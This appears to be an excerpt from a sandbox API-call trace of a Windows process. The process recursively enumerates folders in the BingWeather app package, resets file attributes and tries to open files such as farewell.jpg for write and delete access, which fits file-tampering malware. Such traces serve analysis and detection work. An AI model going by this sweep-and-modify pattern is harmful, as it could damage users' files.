	[0090.622] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7c2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.622] wcscmp (_String1="..", _String2=".") returned 1
	[0090.622] wcscmp (_String1="..", _String2="..") returned 0
	[0090.622] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7cee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.622] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.622] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.622] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf0) returned 0x491c6c0
	[0090.622] wcscpy (in: _Dest=0x491c6c0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife"
	[0090.622] wcscat (in: _Dest=0x491c6c0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\"
	[0090.622] wcscat (in: _Dest=0x491c6c0, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets"
	[0090.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4776a60
	[0090.623] wcscpy (in: _Dest=0x4776a60, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets"
	[0090.623] wcscat (in: _Dest=0x4776a60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\"
	[0090.623] wcscat (in: _Dest=0x4776a60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\*"
	[0090.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0090.623] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7cee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a968
	[0090.623] wcscmp (_String1=".", _String2=".") returned 0
	[0090.623] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7cee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.623] wcscmp (_String1="..", _String2=".") returned 1
	[0090.623] wcscmp (_String1="..", _String2="..") returned 0
	[0090.623] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd4f4d9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1cb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="farewell.jpg", cAlternateFileName="")) returned 1
	[0090.623] wcscmp (_String1="farewell.jpg", _String2=".") returned 1
	[0090.623] wcscmp (_String1="farewell.jpg", _String2="..") returned 1
	[0090.623] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5b2a8
	[0090.623] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets"
	[0090.623] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\"
	[0090.623] wcscat (in: _Dest=0x2d5b2a8, _Source="farewell.jpg" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg"
	[0090.623] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.controls\\endoflife\\assets\\farewell.jpg")) returned 0x20
	[0090.626] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg", dwFileAttributes=0x20) returned 0
	[0090.626] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.bingweather_4.18.56.0_x64__8wekyb3d8bbwe\\microsoft.msn.controls\\endoflife\\assets\\farewell.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.626] GetLastError () returned 0x5
	[0090.626] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Controls\\EndOfLife\\Assets\\farewell.jpg", dwFileAttributes=0x20) returned 0
	[0090.626] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0090.627] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2dd4f4d9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1cb6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="farewell.jpg", cAlternateFileName="")) returned 0
	[0090.627] FindClose (in: hFindFile=0x477a968 | out: hFindFile=0x477a968) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d7b8) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776a60) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491c6c0) returned 1
	[0090.627] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7cee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 0
	[0090.627] FindClose (in: hFindFile=0x477a868 | out: hFindFile=0x477a868) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aa00) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491d9e8) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3b390) returned 1
	[0090.627] FindNextFileW (in: hFindFile=0x46a6ad0, lpFindFileData=0x47159c8 | out: lpFindFileData=0x47159c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7c2d2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EndOfLife", cAlternateFileName="ENDOFL~1")) returned 0
	[0090.627] FindClose (in: hFindFile=0x46a6ad0 | out: hFindFile=0x46a6ad0) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47159c8) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4772c90) returned 1
	[0090.627] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12c68) returned 1

Thread:
	id = 965
	os_tid = 0x12c0

	[0082.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a6028
	[0082.405] wcscpy (in: _Dest=0x46a6028, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0082.405] wcscat (in: _Dest=0x46a6028, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\"
	[0082.405] wcscat (in: _Dest=0x46a6028, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*"
	[0082.405] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2df73b8
	[0082.405] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\*", lpFindFileData=0x2df73b8 | out: lpFindFileData=0x2df73b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7d91e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8418
	[0082.406] wcscmp (_String1=".", _String2=".") returned 0
	[0082.406] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x2df73b8 | out: lpFindFileData=0x2df73b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7d91e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.406] wcscmp (_String1="..", _String2=".") returned 1
	[0082.406] wcscmp (_String1="..", _String2="..") returned 0
	[0082.406] FindNextFileW (in: hFindFile=0x46a8418, lpFindFileData=0x2df73b8 | out: lpFindFileData=0x2df73b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7e777, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1
	[0082.406] wcscmp (_String1="Themes", _String2=".") returned 1
	[0082.406] wcscmp (_String1="Themes", _String2="..") returned 1
	[0082.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x4773470
	[0082.406] wcscpy (in: _Dest=0x4773470, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell"
	[0082.406] wcscat (in: _Dest=0x4773470, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\"
	[0082.406] wcscat (in: _Dest=0x4773470, _Source="Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0090.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4e32e20
	[0090.612] wcscpy (in: _Dest=0x4e32e20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0090.612] wcscat (in: _Dest=0x4e32e20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\"
	[0090.612] wcscat (in: _Dest=0x4e32e20, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*"
	[0090.612] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aa00
	[0090.612] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\*", lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7e777, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a868
	[0090.612] wcscmp (_String1=".", _String2=".") returned 0
	[0090.612] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7e777, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.612] wcscmp (_String1="..", _String2=".") returned 1
	[0090.612] wcscmp (_String1="..", _String2="..") returned 0
	[0090.612] FindNextFileW (in: hFindFile=0x477a868, lpFindFileData=0x502aa00 | out: lpFindFileData=0x502aa00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7f48f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Glyphs", cAlternateFileName="")) returned 1
	[0090.613] wcscmp (_String1="Glyphs", _String2=".") returned 1
	[0090.613] wcscmp (_String1="Glyphs", _String2="..") returned 1
	[0090.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e618
	[0090.613] wcscpy (in: _Dest=0x491e618, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes"
	[0090.613] wcscat (in: _Dest=0x491e618, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\"
	[0090.613] wcscat (in: _Dest=0x491e618, _Source="Glyphs" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs"
	[0090.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe8) returned 0x491d358
	[0090.613] wcscpy (in: _Dest=0x491d358, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs"
	[0090.613] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\"
	[0090.613] wcscat (in: _Dest=0x491d358, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\*"
	[0090.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d7b8
	[0090.613] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\*", lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7f48f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a968
	[0090.613] wcscmp (_String1=".", _String2=".") returned 0
	[0090.613] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7f48f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd4f4d9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.613] wcscmp (_String1="..", _String2=".") returned 1
	[0090.613] wcscmp (_String1="..", _String2="..") returned 0
	[0090.613] FindNextFileW (in: hFindFile=0x477a968, lpFindFileData=0x502d7b8 | out: lpFindFileData=0x502d7b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2dd4f4d9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xaad7ff09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2dd75732, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Font", cAlternateFileName="")) returned 1
	[0090.613] wcscmp (_String1="Font", _String2=".") returned 1
	[0090.613] wcscmp (_String1="Font", _String2="..") returned 1
	[0090.613] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xee) returned 0x491b458
	[0090.613] wcscpy (in: _Dest=0x491b458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs"
	[0090.613] wcscat (in: _Dest=0x491b458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\"
	[0090.613] wcscat (in: _Dest=0x491b458, _Source="Font" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font") returned="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.18.56.0_x64__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font"
	[0090.614] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4778660
